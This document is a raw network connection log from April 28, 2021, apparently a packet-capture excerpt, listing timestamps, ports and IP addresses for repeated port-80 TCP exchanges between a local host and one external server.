Apr 28, 2021 23:23:31.605654001 CEST	49969	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:31.709924936 CEST	49969	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:31.711416006 CEST	49970	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:31.805983067 CEST	80	49970	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:31.806555033 CEST	49970	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:31.808092117 CEST	49970	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:31.810796976 CEST	80	49969	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:31.810956955 CEST	49969	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:31.901415110 CEST	80	49970	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:31.905109882 CEST	80	49970	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:31.908257961 CEST	49970	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.022479057 CEST	49970	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.023871899 CEST	49971	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.115686893 CEST	80	49970	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.115849972 CEST	49970	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.116724968 CEST	80	49971	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.116864920 CEST	49971	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.117480993 CEST	49971	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.211380005 CEST	80	49971	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.218226910 CEST	80	49971	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.218308926 CEST	49971	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.335124969 CEST	49971	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.336587906 CEST	49972	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.430465937 CEST	80	49971	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.430521011 CEST	49971	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.432513952 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.437463999 CEST	80	49972	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.437630892 CEST	49972	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.438205004 CEST	49972	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.537132025 CEST	80	49972	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.540828943 CEST	80	49972	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.540863037 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.540944099 CEST	49972	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.540993929 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.541198015 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.648355007 CEST	49972	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.649734020 CEST	49974	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.651562929 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.651658058 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.651734114 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.651794910 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.652044058 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.652105093 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.652157068 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.652208090 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.652602911 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.652684927 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.652882099 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.652951956 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.653048038 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.653109074 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.653283119 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.653350115 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.653439045 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.653495073 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.749473095 CEST	80	49972	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.749547005 CEST	49972	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.751147032 CEST	80	49974	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.751259089 CEST	49974	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.751844883 CEST	49974	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.761776924 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.761888981 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.762078047 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.762099028 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.762137890 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.762175083 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.762624025 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.762689114 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.762907982 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.762929916 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.762999058 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.763173103 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.763225079 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.763540983 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.763566017 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.763601065 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.763628960 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.764019966 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.764091969 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.764125109 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.764180899 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.764249086 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.764266014 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.764308929 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.764331102 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.851289034 CEST	80	49974	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.855375051 CEST	80	49974	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.855482101 CEST	49974	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.870189905 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.870286942 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.870309114 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.870352983 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.870511055 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.870523930 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.870558977 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.870594978 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.870913982 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.870930910 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.870970011 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.870994091 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.871155977 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.871205091 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.871342897 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.871406078 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.871594906 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.871608019 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.871648073 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.871676922 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.871715069 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.871747971 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.871767044 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.871820927 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.872473001 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.872487068 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.872498989 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.872509956 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.872522116 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.872581959 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.872622967 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.872708082 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.872719049 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.872756004 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.959888935 CEST	49974	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.961376905 CEST	49975	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:32.980330944 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.980365992 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.980381966 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.980396032 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.980411053 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.980426073 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.980443954 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.980494976 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.980989933 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.981107950 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.981127977 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.981143951 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.981158018 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.981712103 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.981729031 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.981828928 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.981981993 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.982000113 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.982100964 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.982459068 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.982615948 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.982741117 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.982872009 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.983314991 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.983707905 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.987729073 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:32.987889051 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:33.057549953 CEST	80	49975	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:33.057674885 CEST	49975	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:33.058275938 CEST	49975	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:33.060401917 CEST	80	49974	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:33.060487032 CEST	49974	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:33.097327948 CEST	80	49973	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:33.097405910 CEST	49973	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:33.151653051 CEST	80	49975	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:33.155595064 CEST	80	49975	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:33.155663967 CEST	49975	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:33.272231102 CEST	49975	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:33.273632050 CEST	49977	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:33.365295887 CEST	80	49975	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:33.366301060 CEST	49975	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:33.368921041 CEST	80	49977	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:33.372384071 CEST	49977	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:33.372999907 CEST	49977	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:33.467912912 CEST	80	49977	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:33.471407890 CEST	80	49977	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:33.471489906 CEST	49977	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:33.588771105 CEST	49977	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:33.590234995 CEST	49978	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:33.683768034 CEST	80	49977	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:33.688440084 CEST	49977	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:33.690154076 CEST	80	49978	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:33.690397978 CEST	49978	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:33.691059113 CEST	49978	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:33.791146994 CEST	80	49978	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:33.795087099 CEST	80	49978	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:33.795274973 CEST	49978	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:33.897229910 CEST	49978	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:33.898328066 CEST	49979	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:33.995649099 CEST	80	49979	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:33.998958111 CEST	80	49978	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:33.999234915 CEST	49978	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:33.999320030 CEST	49979	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:33.999891996 CEST	49979	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:34.096821070 CEST	80	49979	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:34.100860119 CEST	80	49979	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:34.100975990 CEST	49979	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:34.209798098 CEST	49979	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:34.211169004 CEST	49981	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:34.305377960 CEST	80	49979	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:34.305567980 CEST	49979	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:34.310470104 CEST	80	49981	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:34.310611010 CEST	49981	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:34.319598913 CEST	49981	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:34.420535088 CEST	80	49981	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:34.423826933 CEST	80	49981	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:34.423923016 CEST	49981	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:34.538507938 CEST	49981	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:34.541054010 CEST	49982	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:34.639467001 CEST	80	49981	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:34.640687943 CEST	80	49982	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:34.640846968 CEST	49981	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:34.641042948 CEST	49982	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:34.642122030 CEST	49982	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:34.745486021 CEST	80	49982	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:34.745516062 CEST	80	49982	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:34.745691061 CEST	49982	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:34.851169109 CEST	49982	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:34.870688915 CEST	49983	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:34.950948954 CEST	80	49982	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:34.951047897 CEST	49982	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:34.967271090 CEST	80	49983	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:34.967407942 CEST	49983	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:34.968003035 CEST	49983	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.062450886 CEST	80	49983	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.068403959 CEST	80	49983	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.068490982 CEST	49983	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.180900097 CEST	49983	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.183259010 CEST	49984	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.274772882 CEST	80	49983	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.274847031 CEST	49983	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.276736021 CEST	80	49984	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.276832104 CEST	49984	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.277436018 CEST	49984	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.370871067 CEST	80	49984	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.376034975 CEST	80	49984	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.376146078 CEST	49984	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.435827971 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.491173029 CEST	49984	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.492723942 CEST	49986	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.535696983 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.535819054 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.536083937 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.584326982 CEST	80	49984	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.584393978 CEST	49984	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.587579012 CEST	80	49986	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.587673903 CEST	49986	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.588324070 CEST	49986	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.633836985 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.633866072 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.633932114 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.633997917 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.634334087 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.634356022 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.634398937 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.634439945 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.634892941 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.634915113 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.634965897 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.635006905 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.635246038 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.635265112 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.635312080 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.635350943 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.635777950 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.635802031 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.635831118 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.635867119 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.684534073 CEST	80	49986	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.688328028 CEST	80	49986	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.688632011 CEST	49986	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.731304884 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.731334925 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.731431007 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.731431961 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.731446028 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.731509924 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.731544018 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.731796980 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.731816053 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.731883049 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.731906891 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.732095957 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.732112885 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.732146978 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.732177019 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.732316971 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.732331991 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.732346058 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.732372046 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.732415915 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.732784033 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.732846022 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.732963085 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.732980013 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.733047962 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.803668976 CEST	49986	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.804713964 CEST	49987	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.829093933 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.829121113 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.829183102 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.829225063 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.829308033 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.829333067 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.829376936 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.829705954 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.829766035 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.829792976 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.829879045 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.829899073 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.829915047 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.829938889 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.829956055 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.829977989 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.830223083 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.830241919 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.830260992 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.830277920 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.830293894 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.830296993 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.830308914 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.830326080 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.830342054 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.830349922 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.830389977 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.830415010 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.830419064 CEST	49985	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.899969101 CEST	80	49986	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.900069952 CEST	49986	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.905992031 CEST	80	49987	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.906100988 CEST	49987	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.906589985 CEST	49987	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:35.926218033 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.926259041 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.926301956 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.926474094 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.926645041 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.926877975 CEST	80	49985	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:35.927032948 CEST	80	49985	176.111.174.114	192.168.2.5
